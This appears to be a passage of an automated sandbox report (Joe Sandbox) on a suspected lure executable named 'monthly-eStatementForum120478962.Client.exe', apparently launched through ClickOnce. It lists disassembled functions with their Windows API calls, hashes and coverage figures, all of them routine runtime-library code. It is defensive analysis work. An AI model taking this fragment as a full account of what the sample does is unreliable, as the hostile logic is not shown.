APIs

MultiByteToWideChar.KERNEL32(?,00000000,?,?,00000000,00000000,00000100,00F254C8,00000000,?,?,?,00F27D05,?,?,00000100), ref: 00F27B0E
__alloca_probe_16.LIBCMT ref: 00F27B46
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?,?,?,?,00F27D05,?,?,00000100,5EFC4D8B,?,?), ref: 00F27B94
__alloca_probe_16.LIBCMT ref: 00F27C2B
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,5EFC4D8B,00000100,00000000,00000000,?,00000400,00000000,?,00000000,00000000,00000000,00000000), ref: 00F27C8E
__freea.LIBCMT ref: 00F27C9B

Part of subcall function 00F262FF: HeapAlloc.KERNEL32(00000000,?,00000004,?,00F27E5B,?,00000000,?,00F2686F,?,00000004,00000000,?,?,?,00F23BCD), ref: 00F26331

__freea.LIBCMT ref: 00F27CA4
__freea.LIBCMT ref: 00F27CC9

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ByteCharMultiWide__freea$__alloca_probe_16$AllocHeap
String ID:
API String ID: 2597970681-0
Opcode ID: 8ea96bda528cb1f3e13b438d3ddf15105345de4164d3c9d72e4764621044c00c
Instruction ID: 2c0ed481370dfd29da89a180ba65adb10afe16a44483625eafac6c3c6e9fd481
Opcode Fuzzy Hash: 8ea96bda528cb1f3e13b438d3ddf15105345de4164d3c9d72e4764621044c00c
Instruction Fuzzy Hash: 5E51D272A54326ABDB25AF74EC81EBF77AAEB44760B154629FC04DA140EB38DC40E650

Function 00F28417 Relevance: 10.7, APIs: 7, Instructions: 152
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,00F28B8C,?,00000000,?,00000000,00000000), ref: 00F28459
__fassign.LIBCMT ref: 00F284D4
__fassign.LIBCMT ref: 00F284EF
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 00F28515
WriteFile.KERNEL32(?,?,00000000,00F28B8C,00000000,?,?,?,?,?,?,?,?,?,00F28B8C,?), ref: 00F28534
WriteFile.KERNEL32(?,?,00000001,00F28B8C,00000000,?,?,?,?,?,?,?,?,?,00F28B8C,?), ref: 00F2856D

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 24bf72b642adb5f6a343a4d24007998a97c07038302d6a799520ae12fb3418cc
Instruction ID: fb5cf23054b0f75aa31262fc0c38e38fb8be5993161fbf33b3422389067a38cb
Opcode Fuzzy Hash: 24bf72b642adb5f6a343a4d24007998a97c07038302d6a799520ae12fb3418cc
Instruction Fuzzy Hash: 0E51D471D002599FDB10CFA8EC95AEEBBF5FF18360F18411AE951E7291D7309942DB60

Function 00F21E00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_ValidateLocalCookies.LIBCMT ref: 00F21E37
___except_validate_context_record.LIBVCRUNTIME ref: 00F21E3F
_ValidateLocalCookies.LIBCMT ref: 00F21EC8
__IsNonwritableInCurrentImage.LIBCMT ref: 00F21EF3
_ValidateLocalCookies.LIBCMT ref: 00F21F48

Strings

csm, xrefs: 00F21EDD

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 4b824dfff8c5bc6569224c1d6a7924daf87c682f55bc9f451d3f876eda8a036e
Instruction ID: 2a3c1bf4265d7d0be8945c233505223d7d7f5e399f26edb6bd93e3b17ed22b43
Opcode Fuzzy Hash: 4b824dfff8c5bc6569224c1d6a7924daf87c682f55bc9f451d3f876eda8a036e
Instruction Fuzzy Hash: DC411334E00228ABCF10DF68EC81AAEBBB5BF54364F148055EC149B392C735EE11EB95

Function 00F2621B Relevance: 10.6, APIs: 7, Instructions: 65
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00F261DF: _free.LIBCMT ref: 00F26208

_free.LIBCMT ref: 00F26269

Part of subcall function 00F24869: HeapFree.KERNEL32(00000000,00000000,?,00F2620D,?,00000000,?,00000000,?,00F26234,?,00000007,?,?,00F2669F,?), ref: 00F2487F
Part of subcall function 00F24869: GetLastError.KERNEL32(?,?,00F2620D,?,00000000,?,00000000,?,00F26234,?,00000007,?,?,00F2669F,?,?), ref: 00F24891

_free.LIBCMT ref: 00F26274
_free.LIBCMT ref: 00F2627F
_free.LIBCMT ref: 00F262D3
_free.LIBCMT ref: 00F262DE
_free.LIBCMT ref: 00F262E9
_free.LIBCMT ref: 00F262F4

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 1d7f3cd73ca15569adc6f3b3063faa031294499d8d9ad134557c71114fc07fde
Instruction ID: b848f759413a7db1b3f21b6d00aca49ddd28297dc823111d0adc10f35a6da5d6
Opcode Fuzzy Hash: 1d7f3cd73ca15569adc6f3b3063faa031294499d8d9ad134557c71114fc07fde
Instruction Fuzzy Hash: 43112171540B74AAD560B7B1EC07FCB779C9F44B00F404825B69AE6093DA69BA146650

Function 00F223D1 Relevance: 9.1, APIs: 6, Instructions: 60
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,00F223C8,00F2209F,00F21AFC), ref: 00F223DF
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00F223ED
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00F22406
SetLastError.KERNEL32(00000000,00F223C8,00F2209F,00F21AFC), ref: 00F22458

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: 24df13095c697d8793061c126919698acc9ae843e1dfdf37c458baade86d22be
Instruction ID: f724b511e2fbb13b64c69858631d2765515de0f64fb5b3ed791a92835420591c
Opcode Fuzzy Hash: 24df13095c697d8793061c126919698acc9ae843e1dfdf37c458baade86d22be
Instruction Fuzzy Hash: B201F7735093397FA6A87BB87C85A673B55EB117B47200339F920850F6EF154C81B240

Function 00F24424 Relevance: 9.0, APIs: 6, Instructions: 50
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(00000008,?,00F26D69,?,?,?,00F304C8,0000002C,00F23F34,00000016,00F2209F,00F21AFC), ref: 00F24428
_free.LIBCMT ref: 00F2445B
_free.LIBCMT ref: 00F24483
SetLastError.KERNEL32(00000000), ref: 00F24490
SetLastError.KERNEL32(00000000), ref: 00F2449C
_abort.LIBCMT ref: 00F244A2

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ErrorLast$_free$_abort
String ID:
API String ID: 3160817290-0
Opcode ID: 69f98e29d558210fa90e51266ae4b8d157e010fc93f42db7e3563f41a919b210
Instruction ID: bd4fbb1405f0d87ce7cdd7ca817d1378981b8aaf9de420499b943c1f1ca919b0
Opcode Fuzzy Hash: 69f98e29d558210fa90e51266ae4b8d157e010fc93f42db7e3563f41a919b210
Instruction Fuzzy Hash: 58F0C8329006B4A7C626F7357C09F6B376AABC1B71B244114FD28D21D5EFE899027121

Function 00F236FC Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38
libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00F236AD,?,?,00F2364D,?,00F302E0,0000000C,00F237A4,?,00000002), ref: 00F2371C
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00F2372F
FreeLibrary.KERNEL32(00000000,?,?,?,00F236AD,?,?,00F2364D,?,00F302E0,0000000C,00F237A4,?,00000002,00000000), ref: 00F23752

Strings

mscoree.dll, xrefs: 00F23715
CorExitProcess, xrefs: 00F23727

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 716020e35fb9425864d239503536bfacca98aeca0eccfe42cb8c74d404cc808c
Instruction ID: dd7d72b07e45a7d2fca3f1939b7cda9c6b45464de848f7666877e5e1f2cf1755
Opcode Fuzzy Hash: 716020e35fb9425864d239503536bfacca98aeca0eccfe42cb8c74d404cc808c
Instruction Fuzzy Hash: 38F04FB1A0022CBBCB259B90EC49BAEBFB4EF08752F444064FD05A6150DB349A45EB90

Function 00F2634D Relevance: 7.6, APIs: 5, Instructions: 110
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000100,00000020,00000000,00000000,5EFC4D8B,00000100,00F254C8,00000000,00000001,00000020,00000100,?,5EFC4D8B,00000000), ref: 00F2639A
__alloca_probe_16.LIBCMT ref: 00F263D2
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 00F26423
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 00F26435
__freea.LIBCMT ref: 00F2643E

Part of subcall function 00F262FF: HeapAlloc.KERNEL32(00000000,?,00000004,?,00F27E5B,?,00000000,?,00F2686F,?,00000004,00000000,?,?,?,00F23BCD), ref: 00F26331

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ByteCharMultiWide$AllocHeapStringType__alloca_probe_16__freea
String ID:
API String ID: 1857427562-0
Opcode ID: 287653e38f698402fae343ae698976a75b6325a6fb3b2edb4f930da6beadb926
Instruction ID: 7dfd87105e4c5683802dba2722ac716c916235be4e02321e295fb0508f37489a
Opcode Fuzzy Hash: 287653e38f698402fae343ae698976a75b6325a6fb3b2edb4f930da6beadb926
Instruction Fuzzy Hash: 1F31D272A0022AABDF25EF64EC45DAE7BA5EF00320F144129FC14D7290E739CD51EBA0

Function 00F2561E Relevance: 7.6, APIs: 5, Instructions: 68
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32 ref: 00F25627
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00F2564A

Part of subcall function 00F262FF: HeapAlloc.KERNEL32(00000000,?,00000004,?,00F27E5B,?,00000000,?,00F2686F,?,00000004,00000000,?,?,?,00F23BCD), ref: 00F26331

WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,00000000,?,00000000,00000000), ref: 00F25670
_free.LIBCMT ref: 00F25683
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 00F25692

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ByteCharEnvironmentMultiStringsWide$AllocFreeHeap_free
String ID:
API String ID: 2278895681-0
Opcode ID: 101fcba361c28e1da58a10a315d69626e25a8a3bf3d2a7ec944a42ecb67ea095
Instruction ID: ca6bae6f7df952a5744b9c879604a37fa38ed0f5192f6daf17185c7de81568fe
Opcode Fuzzy Hash: 101fcba361c28e1da58a10a315d69626e25a8a3bf3d2a7ec944a42ecb67ea095
Instruction Fuzzy Hash: CD017172A02A697F27215AA67C4DD7B7E6DDEC2FB13550229FD04C7140EB748C02A1B0

Function 00F244A8 Relevance: 7.6, APIs: 5, Instructions: 53
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,?,00F247FE,00F27E79,?,00F2686F,?,00000004,00000000,?,?,?,00F23BCD,?,00000000), ref: 00F244AD
_free.LIBCMT ref: 00F244E2
_free.LIBCMT ref: 00F24509
SetLastError.KERNEL32(00000000,?,?,?,?,?,?), ref: 00F24516
SetLastError.KERNEL32(00000000,?,?,?,?,?,?), ref: 00F2451F

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: ErrorLast$_free
String ID:
API String ID: 3170660625-0
Opcode ID: 74c741c3b6cb3c33989bd481dafb2dbbb57f99718b1b28b01dbed7d81b716ff4
Instruction ID: f8a3c0d370758bb1aeb22b6ec3f1dc5e4adef01b4d32586d23cfaec95fff117e
Opcode Fuzzy Hash: 74c741c3b6cb3c33989bd481dafb2dbbb57f99718b1b28b01dbed7d81b716ff4
Instruction Fuzzy Hash: C701F476600674AB8226F6357C46F2B332EBBC17717240125FD19D21D2EFF4AD017020

Function 00F26176 Relevance: 7.5, APIs: 5, Instructions: 40
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_free.LIBCMT ref: 00F2618E

Part of subcall function 00F24869: HeapFree.KERNEL32(00000000,00000000,?,00F2620D,?,00000000,?,00000000,?,00F26234,?,00000007,?,?,00F2669F,?), ref: 00F2487F
Part of subcall function 00F24869: GetLastError.KERNEL32(?,?,00F2620D,?,00000000,?,00000000,?,00F26234,?,00000007,?,?,00F2669F,?,?), ref: 00F24891

_free.LIBCMT ref: 00F261A0
_free.LIBCMT ref: 00F261B2
_free.LIBCMT ref: 00F261C4
_free.LIBCMT ref: 00F261D6

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: cd32aedc6f1954be583e78084207bf20b72d62f73bc8e203853b161b864dd4f7
Instruction ID: 7fddbd8c77f45d634235b7b94afc44e2f142f7dc7c14e3262c725d801bf94497
Opcode Fuzzy Hash: cd32aedc6f1954be583e78084207bf20b72d62f73bc8e203853b161b864dd4f7
Instruction Fuzzy Hash: E9F06232A14224AF8664EB95F982C5A77DEBB40F303680805F40AD7592C734FC80A650

Function 00F23D8F Relevance: 7.5, APIs: 5, Instructions: 30COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F23DAD

Part of subcall function 00F24869: HeapFree.KERNEL32(00000000,00000000,?,00F2620D,?,00000000,?,00000000,?,00F26234,?,00000007,?,?,00F2669F,?), ref: 00F2487F
Part of subcall function 00F24869: GetLastError.KERNEL32(?,?,00F2620D,?,00000000,?,00000000,?,00F26234,?,00000007,?,?,00F2669F,?,?), ref: 00F24891

_free.LIBCMT ref: 00F23DBF
_free.LIBCMT ref: 00F23DD2
_free.LIBCMT ref: 00F23DE3
_free.LIBCMT ref: 00F23DF4

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
API String ID: 776569668-0
Opcode ID: 6d91f15b9014c7eafb8079ce63e2f9ae485ee11285b092ce388cd90caeaf63b9
Instruction ID: e5f45cdca304bc486881d39d2002b30e4076ce3da2c05217b49a2a05cc8d9522
Opcode Fuzzy Hash: 6d91f15b9014c7eafb8079ce63e2f9ae485ee11285b092ce388cd90caeaf63b9
Instruction Fuzzy Hash: F2F0F8B88202789FDBD96F15FD014893B63FB857303450217F9129A2B1CB791951BBC1

Function 00F22F53 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116COMMON

Download Yara Rule

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe,00000104), ref: 00F22F93
_free.LIBCMT ref: 00F2305E
_free.LIBCMT ref: 00F23068

Strings

C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe, xrefs: 00F22F8A, 00F22F91, 00F22FC0, 00F22FF8

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: _free$FileModuleName
String ID: C:\Users\user\Desktop\monthly-eStatementForum120478962.Client.exe
API String ID: 2506810119-4063345880
Opcode ID: 1622117660730db6eaacf0051925ef2c0554c83ff476ab7bf9a67229a2ac272e
Instruction ID: 1578217145e38a6a160300a861c53d4be6ef70998484edb012a24fc0f5e7ca4b
Opcode Fuzzy Hash: 1622117660730db6eaacf0051925ef2c0554c83ff476ab7bf9a67229a2ac272e
Instruction Fuzzy Hash: 643164B5E00268AFCB21DF99EC8199EBBBCEF85724F104066F40497251D6799E40EB61

Function 00F225E3 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,00F22594,00000000,?,00F31B50,?,?,?,00F22737,00000004,InitializeCriticalSectionEx,00F2BC48,InitializeCriticalSectionEx), ref: 00F225F0
GetLastError.KERNEL32(?,00F22594,00000000,?,00F31B50,?,?,?,00F22737,00000004,InitializeCriticalSectionEx,00F2BC48,InitializeCriticalSectionEx,00000000,?,00F224C7), ref: 00F225FA
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 00F22622

Strings

api-ms-, xrefs: 00F22607

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 45a0ca4cd689051ba70884c0ff27b77f0f186e7df11349819d4c014b84ce28ca
Instruction ID: 9c30e72885f4c53858fa6c693dc00ed0a5286033ac0cab700feb442685104dd5
Opcode Fuzzy Hash: 45a0ca4cd689051ba70884c0ff27b77f0f186e7df11349819d4c014b84ce28ca
Instruction Fuzzy Hash: 31E04832640318BBEF225B60FC06F593F55AB10B51F104420FE0DE80E1E7A6E955B589

Function 00F257DD Relevance: 6.1, APIs: 4, Instructions: 52libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,00F25784,00000000,00000000,00000000,00000000,?,00F25981,00000006,FlsSetValue), ref: 00F2580F
GetLastError.KERNEL32(?,00F25784,00000000,00000000,00000000,00000000,?,00F25981,00000006,FlsSetValue,00F2C4D8,FlsSetValue,00000000,00000364,?,00F244F6), ref: 00F2581B
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,00F25784,00000000,00000000,00000000,00000000,?,00F25981,00000006,FlsSetValue,00F2C4D8,FlsSetValue,00000000), ref: 00F25829

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 5e6a951ecd4180a4aa1c3d9ce6337f60dea3fc738c9ed276c755f00192bc9f0d
Instruction ID: 8112b66457f074c8cf143cca758d68437298885d3b6fc9df982f0420200c5403
Opcode Fuzzy Hash: 5e6a951ecd4180a4aa1c3d9ce6337f60dea3fc738c9ed276c755f00192bc9f0d
Instruction Fuzzy Hash: 7D01A733A1563AABC7318A68BC44A977798AF45FB17250624FE1AD7140DB70DC01E6E0

Function 00F248BB Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 168COMMON

Download Yara Rule

APIs

_free.LIBCMT ref: 00F24A27

Part of subcall function 00F2474D: IsProcessorFeaturePresent.KERNEL32(00000017,00F2473C,00000000,?,00000004,00000000,?,?,?,?,00F24749,00000000,00000000,00000000,00000000,00000000), ref: 00F2474F
Part of subcall function 00F2474D: GetCurrentProcess.KERNEL32(C0000417), ref: 00F24771
Part of subcall function 00F2474D: TerminateProcess.KERNEL32(00000000), ref: 00F24778

Strings

*?, xrefs: 00F248FE
., xrefs: 00F24BDE

Memory Dump Source

Source File: 00000000.00000002.2255482719.0000000000F21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00F20000, based on PE: true

Associated: 00000000.00000002.2255463141.0000000000F20000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255502726.0000000000F2B000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255523457.0000000000F31000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2255539210.0000000000F33000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f20000_monthly-eStatementForum120478962.jbxd

Similarity

API ID: Process$CurrentFeaturePresentProcessorTerminate_free
String ID: *?$.
API String ID: 2667617558-3972193922
Opcode ID: b5ebe54ac363d96a5ffd237f2e5e25fa63b2e5d383b99c3f0f4b770ea8c32303
Instruction ID: 052224109b20c86126b0869529e6b377f341f5cd5a1c872c83f1498b911059f7
Opcode Fuzzy Hash: b5ebe54ac363d96a5ffd237f2e5e25fa63b2e5d383b99c3f0f4b770ea8c32303
Instruction Fuzzy Hash: 5B51B375E002299FDF14DFA8DC81AAEBBB4EF48310F244169E454E7340E675AE41AB50

Analysis Process: dfsvc.exePID: 2628, Parent PID: 7160COMMON

Execution Graph

Execution Coverage:	17.5%
Dynamic/Decrypted Code Coverage:	100%
